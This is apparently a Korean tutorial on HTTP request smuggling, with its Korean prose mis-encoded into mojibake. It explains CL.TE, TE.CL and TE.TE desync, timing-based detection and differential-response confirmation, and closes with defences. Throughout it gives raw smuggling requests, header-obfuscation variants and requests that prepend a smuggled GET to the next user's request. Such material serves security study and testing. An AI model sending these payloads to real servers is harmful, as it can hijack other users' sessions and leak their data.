HTTP Request Smuggling μ·¨μ½μ
01. HTTP Request Smuggling μ·¨μ½μ ?
HTTP Request Smuggling(HRS) μ·¨μ½μ μ 2005λ λ°κ²¬λμλ€. Front-end μλ²μ Back-end μλ² κ°μ λΆμΌμΉλ₯Ό μ΄μ©ν΄ μΆκ°μ μΈ Requestλ₯Ό μ½μ ν μ μλ€.
- Front-end : Content-Length ν€λλ₯Ό μ°μ μ
- Back-end : Transfer-Encoding ν€λλ₯Ό μ°μ μ
μμκ°μ μμ νκ²½μμ μΌκΈ°λ μ μλ 보μλ¬Έμ λ κΆν μμΉ(Privilege Escalation), μΈμ νμ΄μ¬νΉ(Session Hijacking), λ―Όκ°ν μ 보 λ ΈμΆ(Critical Info Leak) λ±μ΄ μλ€.
02. HRSμ λ°°κ²½, HTTP Request ν€λ
HTTP/1 μμ²μ λμ νλ¨νλ λ°©μμλ Content-Length ν€λμ Transfer-Encoding ν€λλ₯Ό μ΄μ©ν λ κ°μ§ λ°©μμ΄ μ‘΄μ¬νλ€. κ·Έλ¦¬κ³ λλΆλΆμ HRS μ·¨μ½μ λ°μμ μμΈμ μ¬κΈ°μ λΉλ‘―λλ€.
1) Content-Length
Content-Length ν€λλ HTTP Requestμ Body κΈΈμ΄λ₯Ό λ°μ΄νΈ λ¨μλ‘ λͺ μνλ€. μ΄λ₯Ό ν΅ν΄ μμ²μ λμ λͺ ννκ² μ μν μ μλ€.
POST /search HTTP/1.1
HOST: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
x=smuggling
2) Transfer-Encoding
Transfer-Encoding ν€λλ μμ² λ³Έλ¬Έμ΄ νλ μ΄μμ μ²ν¬ μΈμ½λ©λ λ©μΈμ§λ₯Ό ν¬ν¨ν λ μ¬μ©λλ€. κ° μ²ν¬λ μ²ν¬ λ©μμ§μ κΈΈμ΄(16μ§μ νμ), λ©μμ§ λ³Έλ¬Έμ ν¬ν¨νκ³ 0μ λμΌλ‘ μ’ λ£λ¨μ μλ¦°λ€.
POST /search HTTP/1.1
HOST: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
x=smuggling
0
μ ν€λλ€μ λμμ μ¬μ©ν κ²½μ° λ¬Έμ κ° λ°μν μ μλ€. λ¬Όλ‘ μ΄λ₯Ό λ§κΈ° μν΄ νλμ μλ²μΈ μνμ κ²½μ° Content-Length ν€λκ° λ¬΄μλλ μμ 보νΈμ± μ΄ λ°λλλ€. νμ§λ§ λκ° μ΄μμ μ°κ²°λ μλ²λ₯Ό μ΄μ©ν κ²½μ° νΉν Transfer-Encoding ν€λλ₯Ό μ§μνλ μλ²μ μ§μνμ§ μλ μλ²κ° μ°κ²°λμ΄ μλ κ²½μ° λ¬Έμ κ° λ°μνκ² λλ€.
HTTP/2 end-to-end μ μ¬μ©νλ μΉ μ¬μ΄νΈλ€μ HRS 곡격μ λ©΄μμ΄ μλ€. 곡격μκ° λΆνμ€ν μ 보μ κΈΈμ΄λ₯Ό 보λ΄λ HTTP/2μ κ°λ ₯ν λ¨μΌ λ©μ»€λμ¦μ΄ μ΄λ₯Ό μ ννκ² μ²λ¦¬νκΈ° λλ¬Έμ΄λ€. νμ§λ§ μλ§μ μΉμ¬μ΄νΈλ€μ HTTP/2 front-end μλ²λ₯Ό λλ λμμ HTTP/1λ§μ μ§μνλ back-end μλ²λ₯Ό κΈ°λ°μΌλ‘ λ§λ€μ΄μ§λ€. μ΄λ HTTP downgradingμ μ΄μ©ν΄ ν΄κ²° κ°λ₯νλ€.
03. HRS μ·¨μ½ μ ν
κΈ°λ³Έμ μΈ HRS 곡격μ Content-Lengthν€λμ Transfer-Encodingν€λλ₯Ό λͺ¨λ ν¬ν¨μν¨λ€. μνν μ€λͺ μ μν΄ μ§κΈλΆν° Content-Lengthμ Transfer-Encodingμ κ°κ° CLκ³Ό TEλΌκ³ μ§μΉνκ² λ€. front-end μλ²μ back-end μλ²μ νΉμ§μ λ°λΌ λ€μν μ·¨μ½ μ νμ΄ μ‘΄μ¬νλ€.
- CL.TE : front-end μλ²κ° CL ν€λλ₯Ό μ΄μ©νκ³ , back-end μλ²κ° TE ν€λλ₯Ό μ΄μ©ν λ
- TE.CL : front-end μλ²κ° TE ν€λλ₯Ό μ΄μ©νκ³ , back-end μλ²κ° CL ν€λλ₯Ό μ΄μ©ν λ
- TE.TE : λ μλ² λͺ¨λ TE ν€λλ₯Ό μ§μνμ§λ§, ν€λλ₯Ό νΉμ ν λ°©μμΌλ‘ μ‘°μνμ¬ ν μλ²κ° μ μμ μΌλ‘ μ²λ¦¬νμ§ λͺ»νκ² ν μ μμ λ
CL.TE
POST / HTTP/1.1
Host: kortsec1.com
Conent-Length: 10
Transfer-Encoding: chunked
0
KANYE
front-end μλ²λ CLμ, back-end μλ²λ TEλ₯Ό μ¬μ©νλ νκ²½μμμ 곡격μ΄λ€. front-end μμλ CLμ ν΅ν΄ “KANYE”κΉμ§μ μ 보λ₯Ό λ°μμ¨λ€. νμ§λ§ back-endμμλ TE ν€λλ₯Ό ν΅ν΄ 0 μ λ§λλ©° μμ²μ λμ΄λΌ νλ¨νλ©° “KANYE”λ λ¨κ² λλ€. μ΄λ κ² λ¨μ λ°μ΄ν°λ κ·Έ λ€μ μμ²μ΄ μλ μκ°μ μ½νκ² λλ€.
TE.CL
POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 3
Transfer-Encoding: chunked
5
KANYE
0
front-end μλ²λ TEλ₯Ό, back-end μλ²λ CLμ μ¬μ©νλ νκ²½μμμ 곡격μ΄λ€. front-endλ TEμ λ°λΌ ν΄λΉ μμ²μ λ°μ΄ν°λ₯Ό λͺ¨λ λ°μλ€μΈλ€. 5λ λ³Έλ¬Έ “KANYE”μ κΈΈμ΄λ₯Ό, λ§μ§λ§ 0μ μμ²μ μ’ λ£λ₯Ό λ»νλ€. κ·Έλ¦¬κ³ λ§μ§λ§ 0μ λ€μλ “\r\n\r\n”μ΄ μ΄μ΄μ λμμΌ νλ€. μ΄λ κ² μ λ¬λ°μ μμ²μ back-end μλ²μμ λ³νκ° μκΈ°λλ°, CLμ μ¬μ©νλ back-end νκ²½μμλ 3μ΄λΌλ κ°μ ν λλ‘ “5\r\n” λ§μ λ°μλ€μΈλ€. “KANYE”λ±μ λλ¨Έμ§ λ°μ΄ν°λ back-end μλ²μ λ¨κ² λκ³ , μ΄λ λ€μλ² μμ²μ μμμΌλ‘ λ°μλ€μ΄κ² λλ€.
TE.TE
front-end μλ²μ back-end μλ² λͺ¨λ TE ν€λλ₯Ό μ§μνμ§λ§, ν€λλ₯Ό μ‘°μνμ¬ μ΄ μ€ ν μλ²κ° μ΄λ₯Ό μ μμ μΌλ‘ μννμ§ λͺ»νκ² νλ 곡격 λ°©λ²μ΄λ€. μ΄λ λ€μν νκ²½μ΄ κ°μ§κ³ μλ νΉμ±μ μκ³ κ΅¬λΆνμ¬ μ§ννκΈ°μ νμμ μΌλ‘ νκ²½μ λν μ΄ν΄κ° νμνλ€.
Transfer-Encoding: xchunked
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
A: A[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
04. HRS μ·¨μ½μ νμ§
Timing Techniques
HRS μ·¨μ½μ μ νμ§νλ κ°μ₯ ν¨κ³Όμ μΈ λ°©λ²μΌλ‘ Timing κΈ°λ²μ λ€ μ μλ€. μ·¨μ½ μ ν리μΌμ΄μ μ νΉμ μμ²μ λ³΄λ΄ μ§μ°μκ°μ λ°μμν€λ λ°©μμ΄λ€.
- CL.TE μ·¨μ½μ νμ§
POST / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
CL.TE μ·¨μ½μ μ΄ μ‘΄μ¬νλ νκ²½μμ νμ§νλ μν©μ΄λ€. front-end μλ²λ CL ν€λλ₯Ό ν΅ν΄ “X”λ₯Ό μ μΈν μ 보λ§μ λ°κ³ , back-end μλ²λ TE ν€λλ₯Ό ν΅ν΄ λ€μ chunkλ₯Ό κΈ°λ€λ¦°λ€. μ΄ λ μ§μ°μκ°μ΄ λ°μνκ² λλ κ²μ΄λ€.
- TE.CL μ·¨μ½μ νμ§
POST / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
TE.CL μ·¨μ½μ μ΄ μ‘΄μ¬νλ νκ²½μμμ νμ§ μν©μ΄λ€. front-endλ TE ν€λλ₯Ό ν΅ν΄ 0κΉμ§μ μ 보λ§μ λκΈ΄λ€. ννΈ back-end μμλ CL ν€λμ κ°μ λ°λΌ 6κΈΈμ΄μ λ°μ΄ν°λ₯Ό κΈ°λ€λ¦¬κ² λλ€. μ΄λ κ² μ§μ°μκ°μ΄ λ°μνλ€. μ λ°©λ²μ λ€λ₯Έ μ¬μ©μμκ² μν₯μ΄ μμ μ μλ€. μΉ¨ν΄λ₯Ό μ΅μν νκ±°λ μλ°ν νμ§νκΈ° μν΄μ CL.TEλ₯Ό μ°μ μ μΌλ‘ μνν νμ ν μ€νΈνλ κ²μ΄ μ’λ€.
05. HRS μ·¨μ½μ Confirming
Differential Responses
μ·¨μ½μ μ μ‘΄μ¬λ₯Ό νμΈνμμ λ μ΄λ₯Ό νμ€μ νκ³ , μΆκ°μ μΈ μ 보λ₯Ό μ»κΈ° μν΄ λ κ°μ§μ μμ²μ 보λ΄λ λ°©λ²μ΄λ€. μ°μ λ€μ μμ²μ μν₯μ μ£ΌκΈ° μν΄ μ§μ¬μ§ 곡격μμ²μ 보λΈλ€. κ·Έ λ€μ μ μμ μΈ μμ²μ 보λ΄, μμν λ°μμ 보μ΄λμ§ νμΈνλ€.
POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=kanyewest
μ μμ²μ λλ²μ§Έλ‘ λ³΄λΌ μ μμ μΈ μμ²μ΄λ€. κ°λ³μ μΌλ‘ 보λΈλ€λ©΄ μ μμ μΈ λ°μμ 보μ΄κ² μ§λ§, 곡격μμ² μ΄νμ 보λΈλ€λ©΄ λ€λ₯Έ λ°μμ΄ λνλ κ²μ΄λ€. κ·Έλ¦¬κ³ μ΄μ λλΌ CL.TE λ TE.CL μ΄ κ²°μ λλ€.
- CL.TE
POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=kanyewest&x=
0
GET /404 HTTP/1.1
Foo: x
CL.TE μ·¨μ½μ μ΄ μλ μν©μ νμ§λ²μ΄λ€. μ 곡격 μμ²μ΄ μ±κ³΅μ μ΄λΌλ©΄, λ§μ§λ§ λ μ€μ back-end μλ²μμ λ€μ μμ²μ μΌλΆλ‘ μ·¨κΈλ κ²μ΄λ€. 그리νμ¬ λ€μ μ μμ μΈ μμ²μ 보λ΄λ©΄ μλμ κ°μ κ²°κ³Όκ° λμ¨λ€.
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=kanyewest
- TE.CL
POST /search HTTP/1.1
Host: korsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
71
GET /404 HTTP/1.1
Host: kortsec1.com
Content-type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
TE.CL μ·¨μ½μ μ΄ μλ μν©μ΄λ€. μ 곡격 μμ²μ 보λ΄κ³ λλ©΄, front-end μλ²λ λͺ¨λ μ 보λ₯Ό 보λ΄κ³ back-end μλ²λ CL ν€λμ λ°λΌ “GET” μ΄νμ μ 보λ λ€μ μμ²μΌλ‘μ¨ λ°κ² λλ€. κ·Έλ κ² μ μ μμ²μ 보λ΄λ©΄ μλμ κ°μ΄ 보λ΄λ κΌ΄μ΄ λλ κ²μ΄λ€.
GET /404 HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=kanyewest
06. 보μ
μ΄λ¬ν HRS μ·¨μ½μ μ μλ°©νκΈ° μν΄μ μ¬λ¬κ°μ§ λ°©λ²μ΄ μ‘΄μ¬νλ€.
- HTTP/2 end to end λ₯Ό μ¬μ©νκ³ , HTTP downgradingμ λΉνμ±ννλ λ°©λ²
HTTP/2λ μμ²μ κΈΈμ΄ νλ¨μ μμ΄ κ°λ ₯ν λ©μ»€λμ¦μ μ¬μ©νκΈ° λλ¬Έμ end to end μ¬μ©μ λ³Έμ§μ μΌλ‘ HRS μλ°©μ΄ κ°λ₯νλ€. νμ§λ§ λΆκ°νΌνκ² HTTP downgrading μ νΌν μ μλ€λ©΄, μμ λ μμ²μ HTTP/1.1μμ νμ€νκ² κ²μ¦ν μ μκ² ν΄μΌνλ€.
- λΆλͺ μΉ μμ μμ²μ λν μ²λ¦¬
front-end μλ²μμλ λΆνμ€ν μμ²μ λν΄ μ μν μν€κ³ 보λ΄κ² νλ€. back-end μλ²μμλ μ¬μ ν λΆνμ€ν μμ²μ λν΄μλ λ§κ³ TCP μ°κ²°μ λ«μμΌ νλ€.
- μλ¬μ λν νμ€ν μ²λ¦¬
μλ² μΈ‘ exceptionμ΄ λ°μνλ€λ©΄ μ°κ²°μ λ«μμΌ νκ³ , μ΄λ κΈ°λ³Έμ μ΄μ§λ§ λ°©μ¬νκΈ° μ¬μ΄ μ€μν μ¬νμ΄λ€.